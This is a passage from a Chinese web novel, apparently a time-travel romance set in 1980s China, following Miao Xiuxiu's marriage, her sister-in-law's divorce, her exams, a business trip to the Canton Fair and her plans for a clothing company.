“当然不希望她离,这些年姐夫对她挺迁就的,就我姐那脾气,一般男的受不了她。”周北冀作为弟弟太知道他姐的性格了,冷傲、娇气,不可一世还有洁癖,把谁都不放眼里,从小到大她也没几个朋友。
苗秀秀熟练地往
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锅里放酱油、料酒、葱姜蒜,对身旁的周北冀说:“其实你姐除了性子有点冷,本性还是挺善良的,但是她和姐夫之间缺少真正沟通。夫妻之间的沟通,可不只是上个床那么简单,要经常有精神上的交流,还得彼此关心、嘘寒问暖,剃头挑子一头热是不行的。”
“就像咱俩这样交流?”周北冀笑着看她。
苗秀秀点点头,“那当然,一百对夫妻里也不一定能有几对能像咱俩这样,遇到事情有商有量,尊重彼此的智商和想法,谢谢你啊,虽然我文化水平没你高,但你也没瞧不起我。”
周北冀看她一脸谄媚的坏笑,假装瞪她,“苗秀秀,我怎么觉得你在挖苦我?你文化水平不高吗,我怎么觉得你见多识广,说话一套一套的。”
“那还是不如你,毕竟我连个高中都没上过。”苗秀秀把烧好的鲫鱼盛到盘子里。周北冀凑过去闻了闻,色香味俱全。
趁苗秀秀不注意,忍不住在她脸上啄了一下。
沈芬玉过来找周北冀,没料想一进厨房就看到这一幕,赶忙把脸别过去,咳嗽一声。周北冀余光瞥见他妈,顿时有点不好意思,头转过去,问沈芬玉:“您怎么到厨房来了?”
“你去陪你姐说说话,厨房这边我来帮秀秀。”沈芬玉看不惯儿子总是待在厨房里围着媳妇转。儿子什么都好,就是缠他媳妇缠得太紧,在自己家里也就罢了,要是养成了习惯在别人家也这样,会被人觉得没出息,沈芬玉不想惯着他这样,非得把他叫出去不可。
周北冀拗不过老妈,洗干净手出去了。苗秀秀自然也听得出婆婆弦外之音,忙说:“妈,我一个人忙活就行,您去陪姐姐,也就三四个菜,我一会儿就炒好了。”
果然,沈芬玉客气了几句之后,并没有帮苗秀秀什么忙,就回客厅坐着去了。
一个人忙活了四五个菜,有荤有素,当成年夜饭是寒碜了点,可要是当成普通晚饭,那就算丰盛了。周家母子三人审问卢江宇审了一下午,早已肚子空空,饭菜一上来,他们就吃得话也顾不上说了。
审时度势,苗秀秀主动给卢江宇盛了一碗粥,说:“姐夫,小周都告诉我了,今天的事是个误会,你和那个女的只是普通同事,你俩没有任何关系,大姐之前也和我谈过,说想和你好好过日子,你们就不要互相怄气了。”
“什么误会,谁说是误会。”周湘南啪一下把碗筷放下,气势汹汹。眼看着她要发火,沈芬玉赶紧安抚她,“先吃饭,不吃就冷了。”
苗秀秀说:“我相信姐夫的人品,姐夫不会出轨的,谁也不傻,真想出轨也不会在办公室那种地方。”
周北冀听到她的话,心里一笑,苗秀秀这是想唱红脸了,毕竟他和他妈已经唱了一下午白脸,总得有人出来转圜转圜。
然而,苗秀秀的话并没有打破一家人的沉默,几个人都在默默吃饭。直到卢江宇忽然说话。
“小南,不行就离了吧,离了你我都舒心,正好妈和小弟都在,做个见证。”
在场的几个人全都愣住了,周北冀刚想说话,被沈芬玉和苗秀秀同时按住。
62. 第六十一章
“离就离。”周湘南也不是吃素的,对方主动提了,她不可能软下去。
“姐夫,你什么意思?承认你对那个女的有想法?”周北冀忍了半天,还是忍不住要说话。
“不是。我跟她真的一点关系都没有。”卢江宇看了妻子周湘南一眼,继而鼓足了勇气说:“我和小南结婚这几年,日子过成了什么样子家里人都是看在眼里的,与其继续折磨彼此,不如快刀斩乱麻,等春节过后,我们就去把离婚办了,房子和钱我什么都不要,都给小南。”
说完这些话,他苍白的脸上又是一阵怆然。
周家人都没有再说话,苗秀秀偷偷瞅了丈夫一眼,见他低头吃饭,也就知趣地不再言语。
从周湘南家离开,周北冀骑车送沈芬玉回家,苗秀秀独自先回了家。
等周北冀回到家时,已经快十点了。看到门上贴好新春联,他心里一暖,开门进去一看,苗秀秀已经把家里布置出来了,她在房间里挂上了拉花,还在窗户上贴了窗花,花瓶里的腊梅花散发着阵阵清香。
苗秀秀双手奉上鞋盒,对周北冀说:“回家了就别想那些不愉快,这是我给你买的新年礼物,你穿上试试。”
周北冀高兴地打开鞋盒,看到是一双黑色皮鞋,套在脚上试穿,不大不小正合适,款式也很洋气。
“这种款式倒是很少见。”
“这叫布洛克,是绅士鞋。”
苗秀秀看到鞋穿在他脚上很好看,觉得自己花费不菲买的礼物很值。周北冀高兴虽高兴,想到姐姐的事,还是忍不住叹了口气。
“我让你买的烟花,你买了没有。”
“买了。”
“我们出去放烟花。”
苗秀秀拉着周北冀的手下楼。周北冀提着一个大塑料袋,在楼下点了一支烟,把她想看的烟花点上。
火树银花美不胜收,苗秀秀一下子就找到了小时候的乐趣,顾不上天寒地冻,她拿着一根长长的烟花,让周北冀给她点上,火球一个个喷出去,到天上开出花朵。
“可惜了我买了好多菜,本来想和你一起包饺子喝羊汤。”苗秀秀看着漫天的烟花,在周北冀耳边说。
“明天大年初一,去我爸妈那边包饺子过年。”周北冀搂住苗秀秀的腰,和她一起上楼回家。
“大姐家的事,既然姐夫说了要离,咱就别管了。”苗秀秀安抚周北冀,生怕他再拎不清,去找他姐夫麻烦。说到底是别人夫妻家务事,他一个当弟弟的不好再三出面干涉。
“听你的。”周北冀觉得媳妇说的话句句在理。
热闹的春节过后,天气一天天转暖,苗秀秀倒卖服装事业进展顺利,除了原来设计的风衣和西装,她又设计了喇叭裤和夹克衫,也是一投放市场就一抢而空。
周末的晚上,周北冀回家后看到家里灯亮着,房间里却空空的,很是好奇,叫苗秀秀,听到她的声音从书房传过来,走到书房一看,苗秀秀正挑灯夜读,忍不住笑。
“这时候知道临时抱佛脚了?还有一两个星期就考试了。”周北冀走到她身旁,随手从桌上拿起一本书,翻了几页又放回去。
“两个星期够了,这些功课又不难。”苗秀秀对自己的基础很有信心,尤其是英语,不得满分才怪。
“不难?你别忘了你初中都没毕业,别太轻敌了。”周北冀在苗秀秀肩上拍了一下。
苗秀秀抬眼看着他,“不是打电话让你这礼拜别回来吗,我没空给你做饭,你怎么还是回来了?”“我又不是不会做饭,就算我不做,不是还有食堂。”周北冀可忍不了一星期看不到媳妇儿,就算到床上什么都不干,他也想抱着她睡。
“那就麻烦你了,冰箱里有现成的菜,你随便炒两个,再把粥煮上。”苗秀秀拿着彩色笔在书上划重点做标记,还不忘记指挥一下丈夫。
周北冀嗯了一声,“这回自考你报了几门?”
“六门。”
“六门?你疯了?”周北冀眼睛一下子瞪圆了,“你整天旷课,一下子报六门,你觉得你能考过?”一口气就想吃成胖子,也不怕贪多嚼不烂。
“我觉得我能,不信走着瞧。要是我不过,我请你吃烤鸭,要是我全过了,你请我吃西餐。”苗秀秀想,上辈子上大学每次考试也是这样突击,从来没挂过科,她就不信这个年代的题目这么简单,还是面向成人的考试,她还能不过?
“行,你要是六门全过,别说吃西餐了,你要上天我都答应你,也给我长长脸。”周北冀笑着调侃。
苗秀秀斜了他一眼,看他笑得那么不怀好意,分明是不相信自己,说:“我上天干嘛,我又不是宇航员,你把钱准备好了,我要去全雁京最贵的地方吃饭。”
“到底能不能行啊?”周北冀宠溺地笑,手揉揉她头顶。苗秀秀嫌他碍事,叫他去做饭,“我说行就行,你快别耽误我时间,做饭去。”
得嘞,只要你能考好,做饭请客算什么,周北冀很是欣慰,去厨房做饭。
疯狂突击了两个星期,苗秀秀信心满满准备进考场。周北冀特意请了假,还借了吉普车送她去考场。考场外全是自行车,像她这样有汽车送过来的寥寥无几,这让苗秀秀心里很受用,果然不管是哪个时代,当个有钱有势的人就是好,去哪儿都有小车接送。
“好好考,我等你,中午带你去大·三元吃粤菜。”周北冀对媳妇儿寄予厚望。苗秀秀没说话,咬着唇点点头。
三天的考试很快过去,成绩要一个月后才能出来,四月底,苗秀秀独自坐在开往广州的火车上。高斌和彭娜因为厂里有事要晚两天才能出发,而杨澍则因为转业的事情要留在单位办手续,没法陪她一起去。
杨澍不去也好,去的话他俩孤男寡女一起出差总归不是那么回事,周北冀再大度心里也不可能不起疙瘩,苗秀
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秀并不想因为这点小事和丈夫闹矛盾。再说了,上辈子她经常一个人世界各地飞,坐火车去广州这点小事实在算不上什么。
出门在外舒服最重要,苗秀秀没有买便宜的硬座,买的是最贵的软卧。从雁京到广州,火车得开两三天,火车上餐食也不怎么样,苗秀秀特意蒸了一盒饭炒了两个菜装在铁皮饭盒里,还带了一袋子馒头几根蒸好的香肠和榨菜丝,准备在车上这几天将就着吃。
绿皮车上人声嘈杂,软卧的包厢关上门还稍微好点,虽然不能完全隔绝车厢外传来的一阵阵烟味,比起拥挤又有着各种难闻气味的硬座车厢已经是好多了。
苗秀秀躺在下铺上,把外套枕在下面当枕头,火车在铁轨上滑行发出单调的哐当哐当的声音,苗秀秀的旅程却没有因此变得乏味。她随身带了一本小说,通过阅读来打发坐车寂寞的时光。
上铺空着,对面铺位的两位旅客也很安静,苗秀秀看了一上午的书,觉得肚子有点饿,起身去餐车打了点热水回来,把饭盒拿出来,就着热水吃饭。
醋溜土豆丝和蒸香肠味道不错,她吃了半盒米饭,把饭盒重新盖好,准备留到晚上再吃。看到包厢门口一个三四岁的小男孩眼巴巴看着自己,苗秀秀随手拿起一个馒头向他招了招手。
小男孩大概是从硬座车厢跑过来玩的,身上的衣衫一看就很破旧,看到苗秀秀手里雪白的馒头,他犹豫了好几秒钟,才慢吞吞走上前。
看着小男孩明明眼馋却又不好意思的样子,苗秀秀笑着说:“小朋友,别怕,馒头拿去吃吧,阿姨这里还有。”“谢谢阿姨。”小男孩把馒头接过去,狼吞虎咽。
苗秀秀见他很能吃的样子,又给他一个煮鸡蛋。小男孩没有接,说他已经吃饱了。苗秀秀把煮鸡蛋塞到他手里,让他拿回去给大人吃。小男孩再三感谢,拿着鸡蛋欢快地走了。
看到孩子高兴,苗秀秀的心情也愉快起来,躺回床铺上,想起出门前周北冀跟她说的话,一个人在外面要多留点心眼,到了广州就给他打电话,不要舍不得花电话费。
也不知道此刻他在做些什么,大中午的,应该是在睡午觉,苗秀秀的眼皮子也开始打架,不知不觉睡着了。
坐绿皮车晃荡了两天两夜,第三天上午到广州时,苗秀秀觉得自己浑身酸痛就要散架了,拖着大大的行李箱,斜背着小包,眼看着人头攒动的火车站,不由得感叹,和四十年之后比,广州的变化太大了。
走出火车站,苗秀秀站在路边等出租车,还没等车来,一辆摩托车从她身旁呼啸而过,在她猝不及防间,坐在摩托车后座的人抢走了她的小皮包。苗秀秀愣了两秒钟,然而也没法去追,摩托车早就跑远了,而她还拖着一箱行李。
这么早就有飞车党了?苗秀秀懊恼无比,钱包和一些随身用品都在皮包里,虽然行李箱里也放了点钱不至于住不上宾馆,可这也太倒霉了,刚下车就被抢。
63. 第六十二章
打了一辆出租车,苗秀秀让司机送她去白天鹅宾馆,周北冀怕她在外面住不习惯,出发前就替她订了全广州最好的宾馆,她只要人过去,宾馆就能安排好房间。
越想越生气,苗秀秀到了宾馆后一问价格,二十块钱一晚,比军区招待所贵多了,军区招待所招待家属住一晚才两块钱。
前台办理入住手续,查订房记录,对苗秀秀说:“的确有一位雁京的周先生订了一个标准间,女士,请您出示介绍信,确认身份后,我帮您办理入住。”
介绍信???苗秀秀哎呀一声,这才想起来,周北冀替她开的介绍信放在那个被飞车党抢走的小皮包里。这可怎么办,没有身份证的年代,介绍信是唯一能证明她身份的东西,没有介绍信,白天鹅这样的五星级宾馆不可能让她入住。
怕住不了宾馆,苗秀秀向前台解释:“我刚出火车站包就被抢了,介绍信在包里,我能不能给我对象打个电话,让他证明一下我的身份?”
“对不起女士,我们宾馆有规定,办理入住必须有介绍信。”前台笑容可掬,然而寸土不让。
“那我用一下电话。”苗秀秀在广州没有熟人,只能打电话找周北冀,怕前台不借电话,补充说:“我可以付电话费。”
“女士,电话您可以用,三分钟内不收费。”前台善解人意地说。
苗秀秀拿起电话拨通周北冀宿舍楼下传达室的电话,等了半天却被告知,周北冀他们一大早就去了郊区拉练,要到晚上才能回来。
屋漏偏逢连夜雨,苗秀秀挂断电话,拖着行李到宾馆边上的休息区坐着,心里痛骂该死的飞车党抢了她的包,害她连酒店都住不了。
一直等到夜幕降临,苗秀秀再次拨打周北冀宿舍电话,谢天谢地,他终于下楼来接了。
苗秀秀在电话里简单说明情况。周北冀吃了一惊,忙问:“你没受伤吧?包没了是小事,你可别跟那些人杠,都是些亡命徒,逼急了跟你玩儿命。”
“我没受伤,他们骑摩托车抢了我的包就跑了。你别说这个了,快点想办法让我能住旅馆。白天鹅太贵了,给我找个便宜旅馆就行。”苗秀秀等了一下午,早就等得心焦。
“行,你在原地别乱走,我找人去接你。”周北冀想好了,他哥们儿周天祁年前调任广州军区,可以让他替苗秀秀安排住处。
等了一个多小时,苗秀秀才看到一个身材挺拔的年轻军官向自己走过来,猜到是周北冀找来接自己的人,眼睛都亮了。
“弟妹你好,还认识我吗,我是周北冀的战友周天祁,那时候去你家吃过饭。”周天祁热情地和苗秀秀打招呼。
苗秀秀记得他,猛点头,“记得记得,你跟我对象不仅是战友,还是本家。”周天祁主动上前替苗秀秀拖行李箱,“周北冀叫我过来接你,你还没吃饭吧,我先带你去吃饭,完了送你去旅馆。”
“不用了,我在宾馆的餐厅吃过了。”
车上,周天祁说:“听周北冀说你过来参加广交会,那会场在流花路,离我们军区招待所挺远的,几十公里,所以我想,还是安排你住那附近的东方宾馆比较合适。”
“听你的,我只要有个能住的地方就行。”
有周天祁在,宾馆入住手续办理得很顺利,宾馆服务员服务周到,帮苗秀秀把行李送上楼。房间挺宽敞,收拾得也很干净,苗秀秀看了一圈,基本满意。
送走了周天祁,苗秀秀再次给周北冀打电话汇报情况。
“宾馆环境怎么样?”周北冀家境优越,衣食住行都是最好的,媳妇一个人出门在外,他可舍不得她吃苦。
“还可以,挺干净的。”
“你身上还有没有钱?我给你寄点钱过去?”
“不用了,我箱子里有钱。人家都说出门在外,钱不能都放在一个包里,我早就做好了两手准备。”
“缺钱跟我说啊,我给你寄过去。”周北冀在钱方面一向大方,苗秀秀问他要钱,他从来眉头都不皱一下。
“不用了,我的钱够用,老公你真好。”苗秀秀夸他。周北冀听着很受用,叮嘱她在外面注意安全。
“你放心,我会注意的。听说广州这边很多香港过来的进口货,我给你买块表。”苗秀秀早想好了,买一对情侣表,她和周北冀一人一块。
周北冀在电话那边阻止:“别买了,买了我也不能戴,你别忘了我是军人,我爸早就说过,让我们几个保持艰苦朴素的作风,不要跟人比吃比穿比享受,要是给他看到我戴着进口手表,他非得训我一顿不可。”
“你不说他又不知道是进口表,他要是看见了,你就说是国产的,上海牌。”苗秀秀想歪点子一出是一出。
“看把你能的,我爸又不傻。”周北冀轻笑。
眼看着说了半小时话,怕长途话费飙升,苗秀秀挂断了电话,也顾不上洗澡就往床上一趟开始睡觉。这两天两夜的行程可把她累坏了,头回知道绿皮车坐起来这样辛苦,上辈子也不是没坐过,但都没有这次累。
一觉睡到天亮,苗秀秀看天色还早,去浴室洗了个澡,高斌和彭娜要第二天才能过来,她有一整天自由活动时间。
没有手机,没有电子地图,只能找宾馆前台要一份纸质地图,苗秀秀吃过早饭就出门溜达。看到地图上标记越秀公园就在附近,一路按着地图步行过去,在公园逛了一上午打发时间,这个年代广州的市容市貌和四十年后真没法比,到处都很简陋。
晃荡大半天,苗秀秀十分无聊,决定还是去广交会现场看看。虽然还没有正式开幕,会场里的展台已经全部搭建好,很多商家的商品也都摆放整齐,甚至有不少人已经开始洽谈合作项目。
苗秀秀四处看看,觉得什么都很新奇,科技和产业虽然落后,但是人们那种奋发向上的精神面貌是后世没有的。到服装区,琳琅满目映入眼帘,不乏港澳台地区的商家,甚至还有海外的供应商,苗秀秀如入宝山,目不暇接。
把服装区从头到尾看了一遍,苗秀秀拿了一叠宣传彩页,准备带回宾馆好好研究研究一下服装的流行趋势。
想完成原始积累光靠她的小作坊是不可能的,做服装生意必须量产而且要进商场搞专柜。等到后期资金充裕了,才能成立属于自己的服装品牌。
当然,这一切的前提是高斌能顺利竞争到厂长宝座,等杨澍转业手续办好了,他俩立刻成立公司,他负责外联她则负责设计和打版。
看了一晚上彩页,苗秀秀心里大概有了数,打长途电话给杨澍,却不料是他妈妈接的电话。
“我是杨澍的朋友。”苗秀秀早就听说杨澍的妈妈田总工程师不仅是个高级知识分子,还是军区有名的女干部,此时一听她的声音就知道传言非虚,不敢把自己身份告诉田总工程师。
“朋友?什么样的朋友?”田总工程师这些天为了儿子要从部队转业的事闹心窝火,总觉得儿子一定是被社会上那些不三不四的朋友给带坏了,好好地工作不要了,非要自己创业。<
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p>军官不当去当个体户,这要不是脑子被驴踢了,正常人绝对办不出这事。
“就是朋友。他在吗?”苗秀秀打哈哈。她的声音一听就是个年轻女孩儿,田总工程师大概是有点误会。
“他被我关禁闭了,不方便接你的电话。等他哪天放出来了,再让他和你联系。”田总工程师很不客气把电话挂了。儿子回国后整天吊儿郎当,天天都有小姑娘往家里打电话找他,他自己也一天天混日子,心都玩野了。
可恨的是,他爸爸还挺支持他,说有本事的人不应该被局限在一亩三分地,应该有更高的追求,广阔天地大有作为。田总工一边生儿子的气,一边生老伴儿的气,看什么都心烦。
“妈,是不是有电话找我?”杨澍听到声音从楼上下来。
“是找你的,不肯说名字,我只好请她别打扰你闭门思过。”田总工程师严肃看着儿子。
杨澍眉头深拧,没好气,“妈,您怎么能随便挂我电话?万一找我有重要的事,您这不是耽误事儿嘛。”
“小姑娘找你能有多大的事?”
“她没说名字?”
“没说。”
杨澍思考片刻,有点疑心这是苗秀秀打来的电话。苗秀秀去广州之前给他打过电话,两人交换了一下彼此情况,约好了有什么进展就联系对方。算算日子,她应该已经广州了。
这几天正是他和家里抗争最激烈的时候,他的转业申请上回被领导驳回后,他索性不去单位上班了,整天闲在家里,谁说都不听。反正只要上面一天不批,他就一天不去单位,就算去,也是去办理离职。
私下里,他还联系转业办,让转业办的工作人员去给领导做工作,裁军是大势所趋、是最高决策,他是积极响应号召,单位应该给他披红挂彩、敲锣打鼓欢送他才对。
回到自己房间,杨澍在电话边上徘徊了一会儿,想联系苗秀秀又想不出该怎么联系她。她走的时候并没有说她在广州住的是哪家宾馆,又不好打电话给周北冀问。自从上次和周北冀打架,那家伙每次见到他都鼻子不是鼻子眼不是眼的,要是自己不识相问他要苗秀秀联系方式,醋坛子怕不是要打翻了。
联系不到苗秀秀,杨澍也没闲着,找工商税务的熟人打听,私人注册公司需要哪些手续。国家已经逐渐放宽了民营企业的创办条件,凭他的关系网成立公司不难,他已经说服了他爸爸,给他一笔钱做启动资金。
趁着田总工和保姆在厨房做饭的时间,杨澍悄悄溜达出家门,在大院里闲逛。傍晚时分,大院里人来人往非常热闹,广播里时不时传来女播音员甜美的声音,不是宣读最新政策就是军区领导和各部委的动态,听着听着就无趣。
冷不丁的,看到一身军装的周北冀骑着车迎面而来,杨澍来不及躲闪,只能和他面对面遇上。周北冀看到他蔫蔫的,停下车忍不住问他:“你的转业申请批复了?”
杨澍一怔,“还没。”他倒是没想到周北冀能主动和他说话。他以为周中中那事以后,周家人记仇,以后都不会再理他了。
“既然做了决定,就坚持到底。”周北冀说完这话,骑车走了。杨澍大为诧异,回头看了他一眼,耸了耸肩。苗秀秀真是人不可貌相,竟然能让周北冀这么支持她。
想了想,他心底也鼓足了勇气,人家苗秀秀一个乡下来的小媳妇都能有这样的魄力和决心来创业,他一个大男人难道还能不如她?母亲那一关总会过的,他现在要面对的是走出创业第一步。
64. 第六十三章
高斌和彭娜到广州后,很快和苗秀秀汇合,高斌告诉苗秀秀,五月中旬他会参加厂长竞聘,这回只要他拿着订单回去,他的竞聘就是十拿九稳。
整整五天,三个人扎根在会场,和近百家服装生产厂家、大中小型商场洽谈合作,苗秀秀设计的风衣和大衣被好几家商场看中,高斌当场就和对方签了订单,几天算下来,成交量有十几万件,这让苗秀秀欣喜若狂。
回雁京的火车上,苗秀秀和高斌畅谈理想,这次广交会只是他们未来事业的第一步,将来他们还要做几百万几千万的大单子,将来他们还要创出自己的品牌。
“也不知道杨澍那边怎么样了?”苗秀秀自从那天被田总工程师挂断了电话,再也没敢打电话去找杨澍,生怕连累杨澍和家里闹矛盾。
高斌说:“我去广州前和他打过一次电话,他说他转业手续已经在办了,这些天他也联系了工商的熟人,为成立公司的事铺路。”
“希望他那边能顺利,凭杨澍的人脉,我们的小公司一定会蒸蒸日上。”苗秀秀早就想好了。公司成立以后,她和杨澍股份平摊,杨澍当总经理负责经营,她当设计总监,小桂给她当助手打打杂,他们还要雇一个可靠的人管财务。
要忙的事情太多了,苗秀秀脑子里装满了各种规划。火车开到雁京站以后,她从站台出来走进候车大厅,甚至都没看到周北冀站在不远处张望,还是彭娜提醒她,她才看到他。
“唉,老公——”苗秀秀用力向周北冀挥舞手臂。周北冀看到她,高兴地走上前要帮她拖行李。苗秀秀顾不上矜持,跳起来去搂抱丈夫的脖子,八爪鱼一样挂在他身上。
大庭广众之下,她的行为堪称大胆,周围人纷纷投来异样的目光,但是周北冀丝毫没有在意旁人的眼光,也紧紧抱住她。不过小别几天,倒像隔了几个世纪,彼此想念。
高斌和彭娜看到情形相视一笑,推着他们的行李箱走开了。
“你怎么知道我坐这趟车回来?”
“又犯糊涂,不是你自己告诉我的。”
“我都给忘了。这几天我真是每天忙疯了,我们签了二十多万的单子,你敢相信?”
苗秀秀和丈夫汇报自己的战果,说得眉飞色舞。周北冀一边开车一边看了她一眼,见她越说越兴奋,精致小巧的瓜子脸红通通的,淡淡一笑,“你给我买的表呢?不会忘了吧。”
“怎么会忘。”苗秀秀妩媚一笑,指了指放在后面的行李箱,“劳力士我现在买不起,只能勉强买一对雷达,等我发财了,给你买贵的。”
周北冀把手抬了抬,给苗秀秀看他手上的表。苗秀秀识货,定睛一看竟然是一块江诗丹顿古董表,不禁大叫一声。
“唉,没见你戴过,这牌子的表很贵的。”苗秀秀上辈子都没戴过江诗丹顿的表,最多戴肖邦和劳力士。
“我外公外婆给我的结婚礼物,我一直没戴。”
“那你怎么忽然拿出来戴了?”苗秀秀闹不明白了,上回他还说自己是军人,不能戴进口表,怕被他爸爸说。
趁着红灯,周北冀把表摘下来,随手往苗秀秀腿上一放,“给你了,拿去吧。”苗秀秀更不懂了,“给我干什么?这是你外公外婆给你的礼物,你得好好收着呀。”
“你不是要开公司吗,没有本钱怎么行,反正这表放着也是放着。”周北冀平视着前方,仿佛在说一件平常事。他从小到大家里条件都非常优越,母亲的陪嫁里更是有不少值钱东西,他对这些并不看重。
苗秀秀没想到周北冀会这样全方位支持她创业,眼眶一热,“这表还是给你留着吧,我都和杨澍商量好了,公司的启动资金他先垫付,我用设计入干股,等我们赚到钱了,我再把他垫付的还给他。”
“你和他商量?哼,怎么不和我商量?我们又不是没钱,干嘛让他垫付,他出资占了大头,以后公司就是他说了算,你得听他的,这可不行。”周北冀一提到杨澍就想划清界限。
苗秀秀听出他语气里的醋意,笑着说:“他是我合伙人,我当然要和他商量。你是我亲爱的,咱俩商量家里的事就行。就这么决定了,你的古董表给你留着,这种表将来会更值钱的,现在卖了太可惜。”
把表装进自己的小包里,苗秀秀又把买好的对表拿给周北冀看,周北冀点点头,觉得款式不错。
傍晚,周北冀在厨房做饭,苗秀秀惬意地躺在沙发上看报纸,回程又坐了两三天的火车,身上疲乏得很,做饭这种小事偶尔交给男人做也难不倒他。
看到报纸上的电视节目介绍赫然写着《上海滩》的播出时间安排,苗秀秀兴奋地像是安了弹簧,从沙发蹦起来,一溜烟跑到厨房,抱着周北冀脖子大叫,“老公——老公——天助我也,《上海滩》下星期就播了,下星期就播了。”
“什么《上海滩》?是新出的电视剧?”周北冀正在炒菜,被她又蹦又跳缠得没办法,只好先把火关小。
苗秀秀放开他,“对啊,《上海滩》的男主角许文强穿的风衣就是我以前跟你说过的,我在杂志上看到的,我们去年冬天卖了好多件的那一款。”
“这么说,你设计的风衣要抢购一空了。”周北冀搂住媳妇的腰,为她高兴。
“那肯定的,我的眼光不会错,四合院在向我们招手。”苗秀秀高兴地想就地打滚,在她的记忆里,《上海滩》在大陆播出后火爆一时,许文强同款风衣和围巾都卖疯了。
“悠着点。”周北冀轻拍了一下苗秀秀的背。苗秀秀这才嗯了一声,得意归得意,不能太忘形。忘形就容易发生变故,容易乐极生悲。福兮祸所依、祸兮福所伏,凡事不能太过,也要居安思危。
方护士下班回来从窗口经过,看到周北冀扎着小花围裙端着两盘菜从厨房出来,而苗秀秀四仰八叉躺在沙发上看报纸,不禁摇了摇头,心里感叹着,小女人还真是挺厉害,参谋长家这位少爷被她收拾得服服帖帖的。
苗秀秀放下报纸,站起来去厨房盛饭拿筷子,对周北冀说:“你妈晚上肯定要给你打电话数落我,我先给你打个预防针。”
“你怎么知道?”周北冀解了围裙,坐下吃饭。
“敬事房太监刚刚从咱家窗口经过,肯定看到你做饭而我在沙发上躺着,她不跟你姐告状才怪。”苗秀秀夹了一块鱼肉送到嘴里,周北冀烧菜的手艺是越来越好了,红烧鲫鱼味道鲜美。
周北冀沉默片刻,才说:“我姐最近都不会有心思管我们的事,她昨天刚和姐夫办离婚。”
苗秀
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秀给他夹菜,“离了好,他俩的婚姻拖一天都是对彼此的消耗。不适合的婚姻好比不合脚的鞋子,外面看着再好,舒不舒服只有自己知道。”
“说得对。”周北冀对她的话表示赞同。苗秀秀想起那对表,把男表拿出来戴在周北冀手上,笑着说:“以后你每次抬手看时间,就要想起我。”周北冀假模假式抬起胳膊,斜睨着表,“准不准啊,不会是走·私的水货吧?”
苗秀秀冲他扮了个鬼脸,故意说:“还行吧,每小时慢五分钟,一天下来也就慢几个小时。”
周北冀笑了,转移话题:“你们这次签了二十万的单子,能赚多少钱?”“高斌哥算过了,除去原材料和人工水电,大概能赚二三十万。”苗秀秀用筷子拨了拨菜,夹了一块虾仁送到嘴里。
“二十万的单子,按三十一件单价,营业额少说五六百万了,才赚二三十万,那也不多啊。”
“高斌哥说最近原材料涨价涨得厉害,尤其是呢料和生产风衣的嘎巴甸,到处进不到货,让工人加班加点赶工也得付加班费。”
“嘎巴甸是什么?进口面料?”周北冀从来没听过这种料子,他只知道纯棉和的确良,还有那种老式军装的卡其布,一年到头军装,连真丝穿得都少。
苗秀秀给他科普,“对,进口的,Burberry老板发明的风衣料子,斜纹布透气耐磨还防雨,二战的时候英军穿的军装就是这家的料子,所以Burberry家的风衣全世界有名。”
“进口料子我没办法,要是国内的货源我还能帮你想想办法,忘了跟你说说了,我二哥提前转业到经贸委了。”
“真的?那咱以后做生意上头也有人了。”苗秀秀惊喜无比。县官不如现管,有经贸委这层关系,以后搞批文搞火车皮拉货那还不是分分钟的事。
“别高兴太早,低调低调。”周北冀一时忍不住把这事悄悄透露给媳妇,说了就后悔,二哥才刚分配工作,屁股还没坐热,让他以权谋私是万万不能的。
“嘿,你这人,这会子叫我低调,刚刚还嫌我们赚二三十万少。”苗秀秀撅着嘴。
“二三十万又不是你一个人的,你不是还有好几个同伙,还有人家工厂的盈利,钱分到你手里能有两万?”周北冀笑着抬手轻轻用筷子打了一下苗秀秀的头。
苗秀秀低头嗯了一声,“那是,比起人家去海南倒卖汽车的,我们这个只能算小生意,赚个仨瓜俩枣。”
“是啊,听说海南进口的汽车倒进内地一辆就能赚一万多,我一个哥们的舅舅就在海南倒汽车,钱赚海了去。前几天打电话给我,说回京请我们去北京饭店吃饭。”
这么个日进斗金的生意,要说不羡慕是不可能的,周北冀想到自己那点死工资就算加上津贴,干十年也没人家倒卖一辆汽车挣得多。
“海南那些走私车倒卖赚得是多,但风险太大,说不定哪天就被定一个投机倒把罪,适合干一票就跑,长期是不可能的。等我们这批单子赚的钱到手,我请你去上海吃和平饭店的本帮菜。”以苗秀秀对政策的了解,知道有些钱是不能挣的。
“不用你请,我又不是没去过,你忘了我外公家在上海。”周北冀身为军官,去哪儿都得报备,不想为了吃顿饭这么麻烦。
65. 第六十四章
如周北冀所说,一整晚风平浪静,周家人并没有打电话来询问他做饭而苗秀秀闲着看报纸的事,甚至此后的一段时间周家都没过问他们小俩口的生活。
周北冀那个哥们儿的舅舅从海南回京,在北京饭店定了个包间请客。周北冀也被邀请带上媳妇一同出席。
看到媳妇往身上套真丝裙子,周北冀一边往头发上抹发油,一边问她:“你穿这么少?不冷吗?”苗秀秀往身后努努嘴,“不是还有小西装。”
苗秀秀坐着穿丝袜,周北冀又跟到她面前,似乎有什么话想说却说不出口,苗秀秀瞧出来,瞥他一眼:“干嘛呢,没头苍蝇一样满屋子乱转,有什么话想说就说。”
“那我说了啊,你可别生气。”周北冀琢磨了一下,此时交代总好过当场抓获,“今儿不是我哥们儿他舅舅请客嘛,我这哥们儿估计你也听说过,就是那谁——”
“吞吞吐吐的,你这哥们儿是个女的?还是你哥们儿跟你有一腿?”苗秀秀歪着头,一脸嘲讽的看着周北冀,笑着揶揄他。头回见到周北冀说话这么费劲。
“你想到哪里去了。其实——他就是吉小楠她哥。”
苗秀秀恍然大悟,“那你直说吉小楠她舅舅不就得了,什么哥们儿的舅舅,怎么她和她哥不是一个舅舅啊?”
“不是怕你不高兴么,我跟吉小楠她哥关系挺不错的,这回他舅舅请客也和吉小楠没任何关系,所以我不想提到她。”周北冀主动把苗秀秀白色小西装披到她肩上。
苗秀秀把小西装穿好,又戴上珍珠项链,过了好半天才对周北冀说:“我没那么小心眼,主要是也没那个时间去吃醋,现在对我来说赚钱是头等大事,你暂列第二。”
周北冀自然知道她是说气话,赶紧帮她把小皮包拿起来。小俩口一起出门,苗秀秀看到王老师拎着菜篮子回来,主动打招呼:“王老师,听说方大姐怀孕了,恭喜恭喜啊。”
这消息还是头两天李嫂告诉她的,原话是王大洲那怂包听说老婆怀孕,高兴得差点给他老婆跪下磕三个头。
“谢谢,你们也知道了,消息真灵通。”王老师满脸掩饰不住的喜气。
“难怪您一大早就出去买菜,还买了这么多水果。”苗秀秀看了眼他手里的菜篮子和塑料袋,满满当当的。
